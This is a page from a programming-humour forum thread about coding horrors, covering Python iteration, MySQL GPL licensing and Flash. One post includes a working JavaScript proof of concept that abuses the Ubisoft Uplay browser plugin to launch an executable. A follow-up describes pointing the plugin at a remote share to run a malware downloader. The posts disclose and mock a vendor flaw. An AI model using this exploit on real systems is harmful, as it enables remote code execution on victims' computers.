Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
Threep
Apr 1, 2006

It's kind of a long story.
Oh god, I had to google it to see the full horror and it's so much worse

Adbot
ADBOT LOVES YOU

Threep
Apr 1, 2006

It's kind of a long story.
There's also the StopIteration exception, thrown by all Python iterators when they reach the end. Internally, a for loop in Python looks something like this:

code:
try:
    while True:
        item = data.next()
        # do stuff
except StopIteration:
    pass
Now the entire iteration logic is in one function.

What it really comes down to though, is that Python exceptions aren't costly.

Threep
Apr 1, 2006

It's kind of a long story.

Otto Skorzeny posted:

If you included MySQL code in your code, this would apply. Merely calling the application doesn't make your code a derived work and trigger the requirement to release your source when you distribute.
It does apply if they're linking to the GPL MySQL client libraries though, which they likely are. As far as I know there's no linking exception for MySQL.

Threep
Apr 1, 2006

It's kind of a long story.

Factor Mystic posted:

I'm guessing you can't update any other records besides your own though, right? They probably didn't have time/care to write a web service interface just to show you high scores in the game.



I hope.

Threep
Apr 1, 2006

It's kind of a long story.

Jonnty posted:

could we go back to posting horrors rather than watching them unfold in front of us?
Here's the easy target that isn't PHP: Flash

Teaser:
code:
(ternary (false) (integer 15) (integer 15))

Threep
Apr 1, 2006

It's kind of a long story.
Here's a "fun" coding horror: Most recent Ubisoft games install a remote execution exploit as a browser plugin. Here's a POC that runs calc.exe:

JavaScript code:
var x = document.createElement('OBJECT');
x.setAttribute("type", "application/x-uplaypc");
document.body.appendChild(x);
x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play")
At least the plugin is easily disabled.

e: http://pastehtml.com/view/c6gxl1a79.html hosted version if you want to try it out

Threep fucked around with this message at 11:15 on Jul 30, 2012

Adbot
ADBOT LOVES YOU

Threep
Apr 1, 2006

It's kind of a long story.

Aleksei Vasiliev posted:

Can that actually be used to do anything malicious like 'download and run this trojan'? Real question.
I haven't tested it but in theory you could enter a path like \\some-ip-in-china\kit\malwaredownloader.exe. And of course if there's a way to add command line arguments then it's open season, and it would make sense to have such for a product launcher.

Threep fucked around with this message at 11:27 on Jul 30, 2012

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply